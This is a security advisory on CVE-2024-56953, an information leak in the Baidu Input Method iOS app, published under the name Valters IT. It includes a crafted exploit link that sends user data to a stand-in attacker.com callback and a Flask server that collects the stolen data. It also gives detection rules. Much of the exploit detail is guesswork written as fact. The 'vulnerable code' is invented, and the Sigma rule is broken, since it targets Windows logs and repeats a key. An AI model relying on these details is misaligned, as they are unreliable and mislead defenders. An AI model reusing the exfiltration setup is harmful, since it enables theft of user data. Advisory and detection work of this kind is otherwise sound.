CVE-2024-56953

Executive Summary

CVE-2024-56953 is a security advisory concerning the Baidu Input Method (iOS version) v12.6.13, developed by Baidu (China) Co Ltd. The vulnerability allows attackers to access user information by supplying a crafted link. This issue is currently unpatched, with no official fix or patch details available from the vendor. The vulnerability is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), indicating a risk of data leakage. The attack vector is network-based, requiring user interaction (clicking a crafted link), and the impact is primarily on confidentiality. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the lack of a patch makes this a significant concern for users of the affected version.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary iOS application distributed through the Apple App Store. The supply chain risk is limited to the distribution channel of the app itself, and no package-level dependencies are affected.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is unusual and likely indicates that a full CVSS vector has not been assigned by NVD. Based on the description, a reasonable assessment would be:

• Attack Vector (AV): Network (AV:N) – the crafted link can be delivered remotely.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): Required (UI:R) – user must click the link.
• Scope (S): Unchanged (S:U) – the vulnerable component is the app itself.
• Confidentiality (C): High (C:H) – user information is exposed.
• Integrity (I): None (I:N) – no data modification.
• Availability (A): None (A:N) – no denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Estimated Base Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and is currently unpatched, but exploitation appears limited based on EPSS data.

Deep Dive & Mechanics

The vulnerability in Baidu Input Method v12.6.13 for iOS stems from improper handling of URL schemes or deep links. When the app receives a crafted link (e.g., via SMS, email, or a web page), it fails to validate the origin or sanitize the input, allowing an attacker to trigger unintended actions that leak sensitive user data. This could include:

• URL Scheme Hijacking: The app registers custom URL schemes (e.g., baiduime://) that can be invoked by external applications. A crafted link may include parameters that cause the app to expose internal data, such as user input history, clipboard contents, or device identifiers.
• Cross-App Data Leakage: The vulnerability may allow an attacker to read data from the app’s sandbox or shared containers by exploiting improper access controls in the link handling logic.
• No Authentication Required: Since the link is processed without user authentication, any user who clicks the link is at risk.

The attack flow:

1. Attacker crafts a malicious link (e.g., baiduime://leak?type=userinfo).
2. Attacker delivers the link via phishing, social engineering, or embedded in a webpage.
3. User clicks the link on an iOS device with Baidu Input Method v12.6.13 installed.
4. The app processes the link and returns sensitive user information to the attacker (e.g., via a callback URL or data exfiltration).

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a hypothetical fix would involve:

• Input Validation: The app should validate all parameters in incoming URL schemes and reject unexpected or malformed requests.
• Origin Checking: The app should verify the source of the link (e.g., only allow links from trusted apps or domains).
• Permission Prompt: The app should prompt the user before sharing any sensitive data via a link.

Vulnerable Code (Hypothetical):

func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    let params = url.queryParameters
    if let type = params["type"] {
        if type == "userinfo" {
            let userInfo = getUserInfo()
            sendDataToAttacker(data: userInfo) // No validation
        }
    }
    return true
}

Patched Code (Hypothetical):

func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    guard let sourceApp = options[.sourceApplication] as? String, sourceApp == "com.apple.mobilesafari" else {
        return false // Only allow from Safari
    }
    let params = url.queryParameters
    if let type = params["type"] {
        if type == "userinfo" {
            showPermissionAlert() // Ask user
        }
    }
    return true
}

Exploitation & Lab Setup

Red Team

Objective: Demonstrate data exfiltration from Baidu Input Method v12.6.13 on iOS.

Prerequisites:

• iOS device with Baidu Input Method v12.6.13 installed.
• Attacker-controlled server to receive exfiltrated data.

Steps:

1. Craft the malicious link:
   baiduime://leak?type=userinfo&callback=https://attacker.com/exfil
2. Deliver the link: Use a phishing email, SMS, or a webpage with a redirect.
3. User interaction: Victim clicks the link on their iOS device.
4. Data exfiltration: The app processes the link and sends user information to the attacker’s server.

Proof of Concept (PoC) Script (Python):

import requests

# Simulate the crafted link
malicious_link = "baiduime://leak?type=userinfo&callback=https://attacker.com/exfil"
print(f"Deliver this link to the victim: {malicious_link}")

# Attacker server to capture data (run on attacker machine)
from flask import Flask, request
app = Flask(__name__)

@app.route('/exfil', methods=['GET', 'POST'])
def exfil():
    data = request.args if request.method == 'GET' else request.form
    print(f"Exfiltrated data: {data}")
    return "OK"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Blue Team

Objective: Detect and block exploitation attempts.

Detection:

• Monitor for unusual URL scheme invocations (e.g., baiduime://).
• Use network monitoring to detect data exfiltration to unknown domains.
• Implement endpoint detection rules for suspicious app behavior.

Mitigation:

• Block or restrict custom URL schemes from untrusted sources.
• Educate users not to click on suspicious links.
• Apply app sandboxing and permission controls.

Indicators of Compromise (IOCs)

• URL Scheme: baiduime://
• Malicious Domains: Any domain used in the callback parameter (e.g., attacker.com)
• File Hashes: N/A (no known malware files)
• Network Traffic: HTTP/HTTPS requests to unknown domains with parameters containing user data.
• Process Names: BaiduInputMethod (iOS app)

Detection Engineering

YARA Rule

rule CVE_2024_56953_Baidu_IME_Leak {
    meta:
        description = "Detects crafted links targeting Baidu Input Method v12.6.13"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56953"
    strings:
        $url_scheme = "baiduime://" ascii wide nocase
        $leak_param = "type=userinfo" ascii wide nocase
        $callback_param = "callback=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Detection of Baidu Input Method Data Leak Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network requests or URL invocations containing the baiduime:// scheme with leak parameters.
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: 'baiduime://'
        CommandLine|contains: 'type=userinfo'
    condition: selection
falsepositives:
    - Legitimate use of Baidu Input Method features (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56953 Baidu Input Method Data Leak"; flow:to_server; content:"baiduime://"; nocase; content:"type=userinfo"; nocase; content:"callback="; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or uninstall Baidu Input Method v12.6.13 until a patch is released.
2. Educate users not to click on links from untrusted sources, especially those containing baiduime://.
3. Implement network filtering to block outbound connections to unknown domains from the app.

Long-Term Fix:

• The vendor (Baidu) must release a patched version that validates URL scheme inputs and requires user consent for data sharing.
• Users should update to the latest version once available.

Workarounds:

• Use alternative input methods that are actively maintained and patched.
• Restrict app permissions on iOS (e.g., disable background app refresh for Baidu Input Method).

Valters IT
Securing Digital Frontiers